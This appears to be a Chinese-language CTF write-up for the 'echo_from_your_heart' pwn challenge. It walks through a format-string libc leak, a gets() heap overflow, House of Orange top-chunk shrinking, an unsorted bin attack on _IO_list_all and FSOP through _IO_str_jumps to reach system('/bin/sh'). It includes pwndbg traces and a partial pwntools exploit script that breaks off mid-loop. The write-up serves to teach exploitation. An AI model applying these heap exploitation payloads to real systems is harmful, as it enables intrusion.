Libc2.24解法
healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ readelf -h echo_from_your_heart ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: DYN (Shared object file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x9c0 Start of program headers: 64 (bytes into file) Start of section headers: 4512 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 9 Size of section headers: 64 (bytes) Number of section headers: 27 Section header string table index: 26 healer@healer-virtual-machine:~/Desktop/echo_from_your_heart$ checksec echo_from_your_heart [*] '/home/healer/Desktop/echo_from_your_heart/echo_from_your_heart' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled 分析利用过程 触发_int_free()创造free chunk __int64 __fastcall main(__int64 a1, char **a2, char **a3) signed int v3; // ebx unsigned int length; // eax void *v5; // rbp v3 = 5; init_AB0(a1, a2, a3); puts("echo from your heart"); __printf_chk(1LL, "lens of your word: "); length = getinpt_AF0(); if ( length > 0x1000 ) puts("too long"); exit(1); v5 = malloc(length); // 申请内存大小为输入的值,不能大于0x1000 __printf_chk(1LL, "word: "); gets(v5); // 此处输入的字符数可以很大,没有长度限制,溢出 __printf_chk(1LL, "echo: "); __printf_chk(1LL, v5); putchar(10); --v3; while ( v3 ); return 0LL; 上面的get(v5)函数存在堆溢出漏洞,考虑以此为入手点,但是此程序保护全开,需要泄漏地址,got表劫持可以考虑 通过利用格式化字符串漏洞泄漏出libc的函数地址之后,构造UnsortedBin之后发现在覆盖topchunk之后再次申请出发sysmalloc()函数的int_free()时发现会触发检测错误 这个检测过不了 assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); 然后出现下面这种情况 pwndbg> Program received signal SIGABRT, Aborted. 0x00007ffff7a42438 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *RAX 0x0 *RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001 *RCX 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ *RDX 0x6 *RDI 0x23a0 *RSI 0x23a0 *R8 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0 *R9 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 *R10 0x8 *R11 0x246 *R12 0xfa0 *R13 0x5555557560a0 ◂— 0x0 *R14 0x1000 *R15 0x1000 *RBP 0xfd0 *RSP 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] *RIP 0x7ffff7a42438 (raise+56) ◂— cmp rax, -0x1000 /* 'H=' */ ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 0x7ffff7a4243e <raise+62> ja raise+96 <raise+96> 0x7ffff7a42440 <raise+64> ret 0x7ffff7a42442 <raise+66> nop word ptr [rax + rax] 0x7ffff7a42448 <raise+72> test ecx, ecx 0x7ffff7a4244a <raise+74> jg raise+43 <raise+43> 0x7ffff7a4242b <raise+43> movsxd rdx, edi 0x7ffff7a4242e <raise+46> mov eax, 0xea 0x7ffff7a42433 <raise+51> movsxd rdi, ecx 0x7ffff7a42436 <raise+54> syscall 0x7ffff7a42438 <raise+56> cmp rax, -0x1000 ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffda28 —▸ 0x7ffff7a4403a (abort+362) ◂— mov rdx, qword ptr fs:[0x10] 01:0008│ 0x7fffffffda30 ◂— 0x20 /* ' ' */ 02:0010│ 0x7fffffffda38 ◂— 0x0 ... ↓ ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a42438 raise+56 f 1 7ffff7a4403a abort+362 f 2 7ffff7a8a2f8 __malloc_assert+104 f 3 7ffff7a8e436 sysmalloc+470 f 4 7ffff7a8f763 _int_malloc+3027 f 5 7ffff7a911d4 malloc+84 f 6 555555554947 f 7 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> b'echo: ' [DEBUG] Received 0xc4 bytes: b'deadbeef0x7ffff7dd37800x7ffff7b043800x7ffff7fdd7000x6(nil)0x555555554b800x5555555549c00x7ffff7a2d840aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' [+] libc_start_mian -> 0x7ffff7a2d750 [+] /lib/x86_64-linux-gnu/libc-2.23.so (id local-ae799c0d270a8152908e5882bde6424c6693f7a3) be choosed. 0x7ffff7a0d000 [+] system_addr -> 0x7ffff7a523a0 [+] str_bin_sh_addr -> 0x7ffff7b99e17 [DEBUG] Received 0x1 bytes: b'\n' [DEBUG] Received 0x13 bytes: b'lens of your word: ' [DEBUG] Sent 0x5 bytes: b'4032\n' [DEBUG] Received 0xe9 bytes: b"echo_from_your_heart: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.\n" 下面是IDA调试结果: libc_2.23.so:00007FFFF7A8E400 loc_7FFFF7A8E400: ; CODE XREF: sub_7FFFF7A8E260+7Ej libc_2.23.so:00007FFFF7A8E400 ; sub_7FFFF7A8E260+87j libc_2.23.so:00007FFFF7A8E400 cmp r12, 1Fh # 此处校验请求的大小是否大于MINSIZE libc_2.23.so:00007FFFF7A8E404 jbe short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E406 test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 libc_2.23.so:00007FFFF7A8E408 jz short loc_7FFFF7A8E417 libc_2.23.so:00007FFFF7A8E40A lea rax, [r15-1] # r15存储page大小 libc_2.23.so:00007FFFF7A8E40E test rdx, rax # rdx指向top chunk开始处堆的起始地址加上原有top chunk剩余的大小,即校验是否满足页对齐 # 其实就是看一看原来分配的正常的堆块是对齐的,现在使用过之后用到哪里了剩下多少,加起来还满不满足页对齐 libc_2.23.so:00007FFFF7A8E411 jz loc_7FFFF7A8E2ED # 此处如果跳转成功则可以继续执行 libc_2.23.so:00007FFFF7A8E417 libc_2.23.so:00007FFFF7A8E417 loc_7FFFF7A8E417: ; CODE XREF: sub_7FFFF7A8E260+1A4j libc_2.23.so:00007FFFF7A8E417 ; sub_7FFFF7A8E260+1A8j libc_2.23.so:00007FFFF7A8E417 lea rcx, aSysmalloc ; "sysmalloc" # 此处开始获取告警字符串存储的位置 libc_2.23.so:00007FFFF7A8E41E lea rsi, aMalloc_c ; "malloc.c" libc_2.23.so:00007FFFF7A8E425 lea rdi, aOld_topInitial ; "(old_top == initial_top (av) && old_siz"... libc_2.23.so:00007FFFF7A8E42C mov edx, 961h libc_2.23.so:00007FFFF7A8E431 call near ptr unk_7FFFF7A8A290 # 此处触发告警信息并且导致程序结束 libc_2.23.so:00007FFFF7A8E436 db 2Eh libc_2.23.so:00007FFFF7A8E436 nop word ptr [rax+rax+00000000h] libc_2.23.so:00007FFFF7A8E440 根据上面的IDA动态调试发现,脚本程序构造的堆大小导致了页没有对齐,导致程序崩溃,无法继续利用 下面扩展一个GDB的调试结果,同样也是锁定报错的位置 pwndbg> 0x00007ffff7a8e40e 2398 in malloc.c *RAX 0xfff RDX 0x555555757000 ◂— 0x0 # 此时的RDX等于0x555555757000(即0x5555557560a0+0x0000000000000f60) R15 0x1000 ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a8e400 <sysmalloc+416> cmp r12, 0x1f # 此处校验请求的大小是否大于MINSIZE 0x7ffff7a8e404 <sysmalloc+420> jbe sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e406 <sysmalloc+422> test al, 1 # 检测最低位是否是1,就是pre_inuse位是否置位为1 0x7ffff7a8e408 <sysmalloc+424> je sysmalloc+439 <sysmalloc+439> 0x7ffff7a8e40a <sysmalloc+426> lea rax, [r15 - 1] ► 0x7ffff7a8e40e <sysmalloc+430> test rdx, rax # 校验页对齐 0x7ffff7a8e411 <sysmalloc+433> je sysmalloc+141 <sysmalloc+141> 0x7ffff7a8e2ed <sysmalloc+141> lea rax, [rbp + 0x20] ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 7ffff7a8e40e sysmalloc+430 f 1 7ffff7a8f763 _int_malloc+3027 f 2 7ffff7a911d4 malloc+84 f 3 555555554947 f 4 7ffff7a2d840 __libc_start_main+240 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x5555557560a0 0x0000000000000000 0x0000000000000f61 ........a....... <-- Top chunk 起始地址 剩余大小 至此,再次附上sysmalloc中的_int_free的基本条件: assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)); /* Precondition: not enough current space to satisfy nb request */ assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE)); 翻译过来就是—伪造的top_chunk的size要满足一下条件: size要大于MINSIZE(MINSIZE一般为0x20)size的pre_inuse位要为1old_top + size得出来的地址要满足页对齐,也就是后三个16进制位为0,如0x632000就满足页对齐size要小于下一步申请的chunk的大小,或者说下一步再次请求时要触发_int_free(),所以malloc()的大小要比这个size大一点点 通过前期的构造,我们实现了触发_int_free()函数,构造了一个free chunk在堆空间中,为下一步的Unsortedbin Attack创造了基本条件 利用get()函数溢出发起Unsortedbin Attack 前面创造的free chunk如下所示: pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000f41 ........A....... <-- unsortedbin[all][0] 0x5555557560b0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560c0 0x0000000000000000 0x0000000000000000 ................ 再次malloc(0x20)之后得到 ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756040 0x6161616161616161 0x6161616161616161 aaaaaaaaaaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x00007ffff7dd2188 0x00007ffff7dd2188 .!.......!...... 0x5555557560c0 0x00005555557560a0 0x00005555557560a0 .`uUUU...`uUUU.. 0x5555557560d0 0x0000000000000000 0x0000000000000f11 ................ <-- unsortedbin[all][0] 0x5555557560e0 0x00007ffff7dd1b78 0x00007ffff7dd1b78 x.......x....... 0x5555557560f0 0x0000000000000000 0x0000000000000000 ................ 得到这个0x20堆空间之后,利用get()函数的溢出覆盖unsortedbin[all][0] pwndbg> vis 0x555555756000 0x0000000000000000 0x00000000000000a1 ................ 0x555555756010 0x6665656264616564 0x7024322570243125 deadbeef%1$p%2$p 0x555555756020 0x7024342570243325 0x7024362570243525 %3$p%4$p%5$p%6$p 0x555555756030 0x7024382570243725 0x6161616161616161 %7$p%8$paaaaaaaa 0x555555756090 0x6161616161616161 0x0000000000000000 aaaaaaaa........ 0x5555557560a0 0x0000000000000000 0x0000000000000031 ........1....... 0x5555557560b0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560c0 0x6262626262626262 0x6262626262626262 bbbbbbbbbbbbbbbb 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 0x5555557560f0 0x0000000000000002 0x0000000000000003 ................ 0x555555756100 0x0000000000000000 0x00007ffff7b99e17 ................ 0x555555756110 0x0000000000000000 0x0000000000000000 ................ 0x555555756120 0x0000000000000000 0x0000000000000000 ................ 0x555555756130: 0x0000000000000000 0x0000000000000000 0x555555756140: 0x0000000000000000 0x0000000000000000 0x555555756150: 0x0000000000000000 0x0000000000000000 0x555555756160: 0x0000000000000000 0x0000000000000000 0x555555756170: 0x0000000000000000 0x0000000000000000 0x555555756180: 0x0000000000000000 0x0000000000000000 0x555555756190: 0x0000000000000000 0x0000000000000000 0x5555557561a0: 0x0000000000000000 0x00007ffff7dd0798 0x5555557561b0: 0x0000000000000000 0x00007ffff7a523a0 0x5555557561c0: 0x0000000000000000 0x0000000000000000 可以发现从0x5555557560d0开始,是我们构造的fake chunk,具体为什么要这么构造,先放一放,后面在做解释,这里涉及到Unsortedbin Attack的部分需要注意的是这段 0x5555557560d0 0x0000000000000000 0x0000000000000061 ........a....... <-- unsortedbin[all][0] 0x5555557560e0 0x0000000000000000 0x00007ffff7dd2510 .........%...... 我们将原本的unsortedbin[all][0]的堆块大小改为0x61,将其BK指向了_IO_list_all-0x10的位置(即0x00007ffff7dd2510) 再次执行malloc()函数时,将触发Unsortedbin的拆链,源码如下: victim = unsorted_bin(av)->bk = p; bck = victim->bk = target_addr - 0x10; // victim->bk is p->bk unsorted_bin(av)->bk = bck; bck->fd = unsorted_bin(av); // bck->fd is *(target_addr) 经过上面这几步之后,将_IO_list_all修改成了指向main_arena+88的值 单独观察堆中的值,在Unsortedbin拆链之前(未被溢出覆盖时): pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x00007ffff7dd2188 0x00007ffff7dd2188 0x5555557560c0: 0x00005555557560a0 0x00005555557560a0 0x5555557560d0: 0x0000000000000000 0x0000000000000f11 0x5555557560e0: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 FD BK 0x5555557560f0: 0x0000000000000000 0x0000000000000000 0x555555756100: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 FD point to topchunk BK 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00005555557560d0 pwndbg> p _IO_list_all $5 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> 拆链之后: pwndbg> x/50xg 0x555555756000 0x5555557560a0: 0x0000000000000000 0x0000000000000031 0x5555557560b0: 0x6262626262626262 0x6262626262626262 0x5555557560c0: 0x6262626262626262 0x6262626262626262 0x5555557560d0: 0x0000000000000000 0x0000000000000061 0x5555557560e0: 0x0000000000000000 0x00007ffff7dd2510 target_addr-0x10 0x5555557560f0: 0x0000000000000002 0x0000000000000003 0x555555756100: 0x0000000000000000 0x00007ffff7b99e17 0x555555756110: 0x0000000000000000 0x0000000000000000 pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 pwndbg> p _IO_list_all $6 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88> 至此UnsortedbinAttack的效果基本实现,成功修改了_IO_list_all的值,但是在后面的malloc函数中还完成了一个工作,那就是将刚刚我们构造的fake chunk添加到smallbin[6]中,源码如下: if (in_smallbin_range (size)) victim_index = smallbin_index (size);// victim_index=6 bck = bin_at (av, victim_index);//bck=&av->bins[10]-0x10 fwd = bck->fd; mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim;//old_top被加入av->bins[10]的链表中了。 bck->fd = victim; 观察修改之后堆空间的数据变化: pwndbg> x/30xg 0x7ffff7dd1b20+8 0x7ffff7dd1b28 <main_arena+8>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b78 <main_arena+88>: 0x0000555555777f80 0x00005555557560d0 0x7ffff7dd1b88 <main_arena+104>: 0x00005555557560d0 0x00007ffff7dd2510 0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 0x7ffff7dd1bd8 <main_arena+184>: 0x00005555557560d0 0x00005555557560d0 FD BK 0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8 k可以发现,此时的<main_arena+88>+0x68位置被修改成了0x00005555557560d0(即指向fake chunk的指针) 参照下图整理思路: 将<main_arena+88>处的数据按照_IO_FILE_plus格式解析之后发现_chain字段指向的是fake chunk pwndbg> p *(struct _IO_FILE_plus *)0x7ffff7dd1b78 $7 = { file = { _flags = 1433894784, _IO_read_ptr = 0x5555557560d0 "", _IO_read_end = 0x5555557560d0 "", _IO_read_base = 0x7ffff7dd2510 "", _IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "\320`uUUU", _IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "\210\033\335\367\377\177", _IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "\230\033\335\367\377\177", _IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "\250\033\335\367\377\177", _markers = 0x5555557560d0, _chain = 0x5555557560d0, # point to fake chunk _fileno = -136504360, _flags2 = 32767, _old_offset = 140737351850968, _cur_column = 7144, _vtable_offset = -35 '\335', _shortbuf = <incomplete sequence \367>, _lock = 0x7ffff7dd1be8 <main_arena+200>, _offset = 140737351851000, _codecvt = 0x7ffff7dd1bf8 <main_arena+216>, _wide_data = 0x7ffff7dd1c08 <main_arena+232>, _freeres_list = 0x7ffff7dd1c08 <main_arena+232>, _freeres_buf = 0x7ffff7dd1c18 <main_arena+248>, __pad5 = 140737351851032, _mode = -136504280, _unused2 = "\377\177\000\000(\034\335\367\377\177\000\000\070\034\335\367\377\177\000" vtable = 0x7ffff7dd1c38 <main_arena+280> 再看看我们之前构造的fake chunk的结构,也解析成一个类似_IO_FILE_plus结构体的样式 pwndbg> p *(struct _IO_FILE_plus *)0x5555557560d0 $8 = { file = { _flags = 0, _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, _IO_read_end = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_read_base = 0x7ffff7dd1bc8 <main_arena+168> "\270\033\335\367\377\177", _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>, _IO_write_end = 0x0, _IO_buf_base = 0x7ffff7b99e17 "/bin/sh", _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x0, _fileno = 0, _flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x0, _offset = 0, _codecvt = 0x0, _wide_data = 0x0, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times> vtable = 0x7ffff7dd0798 到此UnsortedBinAttack的过程完毕 触发_IO_FILE漏洞的利用 上面的步骤是由脚本中的最后一个malloc(0x1)函数调用触发的,由于前期的堆空间的部署,导致我们劫持了_IO_list_all指针使其指向<main_arena+88>,将其视为_IO_FILE_plus结构体,其_chain字段指向fake chunk,即可实现文件结构利用。 实际上是由于在上面的UnsortedBin整理完毕之后,分配新的空间的时候检测发现当前堆空间的size大小是0,故触发异常,实现调用链 malloc_printerr ==> __libc_message ==> abort ==> _IO_flush_all_lockp ==> __IO_overflow 最后解释为什么fake chunk需要那样构造,此题目的环境是libc2.24,此时不能再像之前的直接修改vtable指针劫持函数,关于构造方法引用大佬的文章: 构造方法连接 libc2.24 添加check 利用io_str_jumps libc2.24对vtable做了一些限制约束,对 vtable 进行校验的函数是 IO_validate_vtable: static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable) /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; const char *ptr = (const char *) vtable; uintptr_t offset = ptr - __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; vtable必须要满足 在 __stop___IO_vtables 和 __start___libc_IO_vtables 之间,而我们伪造的vtable通常不满足这个条件。 但是_IO_str_jumps 与__IO_wstr_jumps就位于 __stop___libc_IO_vtables 和 __start___libc_IO_vtables 之间, 所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将vtable填成_IO_str_jumps 或__IO_wstr_jumps就行。 利用方式两种: 利用__IO_str_jumps中的_IO_str_finsh函数利用__IO_str_jumps中的_IO_str_overflow函数 如何确定io_str_jumps地址? 由于 _IO_str_jumps 不是导出符号,libc.sym["_IO_str_jumps"] 查不到,我们可以利用 _IO_str_jumps中的导出函数,例如 _IO_str_underflow 进行辅助定位,我们可以利用gdb去查找所有包含这个_IO_str_underflow 函数地址的内存地址,如下所示 pwndbg> p _IO_str_underflow $1 = {<text variable, no debug info>} 0x7f4d4cf04790 <_IO_str_underflow> pwndbg> search -p 0x7f4d4cf04790 libc.so.6 0x7f4d4d2240a0 0x7f4d4cf04790 libc.so.6 0x7f4d4d224160 0x7f4d4cf04790 libc.so.6 0x7f4d4d2245e0 0x7f4d4cf04790 pwndbg> p &_IO_file_jumps $2 = (<data variable, no debug info> *) 0x7f4d4d224440 <_IO_file_jumps> 可以通过_IO_str_jumps 的地址大于_IO_file_jumps 地址的条件,可以确定最后一个是符合_IO_str_jumps的地址,_IO_str_underflow 在_IO_str_jumps 的偏移为0x20,我们可以计算出_IO_str_jumps = 0x7f4d4d2245c0,可以通过一下脚本实现这一过程(GLIBC 2.23、2.24版本均测试通过): IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if possible_IO_str_jumps_offset > IO_file_jumps_offset: print possible_IO_str_jumps_offset break io_str_finish void _IO_str_finish (FILE *fp, int dummy) if (fp->_IO_buf_base && !(fp->_flags & 1)) ((void (*)(void))fp + 0xE8 ) (fp->_IO_buf_base); // call qword ptr [fp+E8h] fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0); fp->_IO_buf_base为真 fp->_flags & 1 为假 // fp->_flags=0 1. fp->_mode = 0 2. fp->_IO_write_ptr > fp->_IO_write_base 3. fp->_IO_read_ptr = 0x61 , smallbin4 + 8 (smallbin size) 4. fp->_IO_read_base = _IO_list_all -0x10 , smallbin -> bk, unsorted bin attack (以上为绕过_IO_flush_all_lockp的条件) vtable = _IO_str_jumps - 8 ,这样调用_IO_overflow时会调用到 _IO_str_finish 5. fp->_flags= 0 6. fp->_IO_buf_base = binsh_addr 7. fp+0xe8 = system_addr fp+E8处填成system_addr ,还有 fp->_IO_buf_base填上binsh_addr地址主要是利用__IO_str_jumps地址错位的方法,通过_IO_str_jumps - 8来调用_IO_str_finish(通过别的函数偏移可能不一样) 调用_IO_flush_all_lockp: 0x7ffff7a89194 <_IO_flush_all_lockp+356> mov rax, qword ptr [rbx + 0xd8] ► 0x7ffff7a8919b <_IO_flush_all_lockp+363> mov esi, 0xffffffff 0x7ffff7a891a0 <_IO_flush_all_lockp+368> mov rdi, rbx 0x7ffff7a891a3 <_IO_flush_all_lockp+371> call qword ptr [rax + 0x18] 调用_IO_str_finish: ► 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi 即将call _IO_str_finish: ► 0x7ffff7a89fc2 <_IO_str_finish+18> call qword ptr [rbx + 0xe8] <system> 调用system: pwndbg> si RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ *RIP 0x7ffff7a523a0 (system) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x7ffff7a523a0 <system> test rdi, rdi 0x7ffff7a523a3 <system+3> je system+16 <system+16> 0x7ffff7a523a5 <system+5> jmp do_system <do_system> 0x7ffff7a51e30 <do_system> push r12 0x7ffff7a51e32 <do_system+2> push rbp 0x7ffff7a51e33 <do_system+3> xor eax, eax 关于“/bin/sh”参数的偏移位置 RDX 0x0 RDI 0x5555557560d0 ◂— 0x0 # RDI point to fake chunk RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb4 (_IO_str_finish+4) ◂— mov rdi, qword ptr [rdi + 0x38] ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi ► 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ─────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> 0x00007ffff7a89fb8 319 in strops.c LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0x7ffff7dd0798 ◂— 0x0 RBX 0x5555557560d0 ◂— 0x0 RCX 0x7ffff7a42740 (sigprocmask+16) ◂— cmp rax, -0x1000 /* 'H=' */ RDX 0x0 *RDI 0x7ffff7b99e17 ◂— 0x68732f6e69622f /* '/bin/sh' */ RSI 0xffffffff R8 0x4 R9 0x0 R10 0x8 R11 0x346 R12 0x7ffff7fdd700 ◂— 0x7ffff7fdd700 R13 0x0 R14 0x0 R15 0x0 RBP 0x0 RSP 0x7fffffffd800 —▸ 0x5555557560d0 ◂— 0x0 *RIP 0x7ffff7a89fb8 (_IO_str_finish+8) ◂— test rdi, rdi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── 0x7ffff7a89fb0 <_IO_str_finish> push rbx 0x7ffff7a89fb1 <_IO_str_finish+1> mov rbx, rdi 0x7ffff7a89fb4 <_IO_str_finish+4> mov rdi, qword ptr [rdi + 0x38] ► 0x7ffff7a89fb8 <_IO_str_finish+8> test rdi, rdi from pwn import * from LibcSearcher import * context.log_level='debug' context.terminal = ['terminator', '-x', 'sh', '-c'] # io = remote("220.249.52.134",59762) io = process("./echo_from_your_heart") elf = ELF("./echo_from_your_heart") context(arch = "amd64", os = 'linux') # libc = ELF("./libc-2.24.so") libc = ELF("./libc-2.23.so") gdb.attach(io,"b * $rebase(0x942)\nb * $rebase(0x984)") def mian_fun(length,word): io.recvuntil("lens of your word: ") io.sendline(str(length)) io.recvuntil("word: ") io.sendline(word) def main(): payload = b"deadbeef" + b"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p" + b"a"*0x60 + 2*p64(0) + p64(0xf61) mian_fun(0x90,payload) io.recvuntil("deadbeef") address_list = io.recv() libc_start_mian = address_list.split(b"0x")[-1][0:12] libc_start_mian = int(libc_start_mian,16) - 240 log.success("libc_start_mian -> "+hex(libc_start_mian)) obj = LibcSearcher("__libc_start_main",libc_start_mian) libcbase = libc_start_mian - obj.dump("__libc_start_main") print(hex(libcbase)) system_addr = libcbase + obj.dump("system") log.success("system_addr -> "+hex(system_addr)) str_bin_sh_addr = libcbase + obj.dump("str_bin_sh") log.success("str_bin_sh_addr -> "+hex(str_bin_sh_addr)) payload = b"b"*0xf58 mian_fun(0xf70,payload) IO_file_jumps_offset = libc.sym['_IO_file_jumps'] IO_str_underflow_offset = libc.sym['_IO_str_underflow'] for ref_offset in libc.search(p64(IO_str_underflow_offset)): possible_IO_str_jumps_offset = ref_offset - 0x20 if 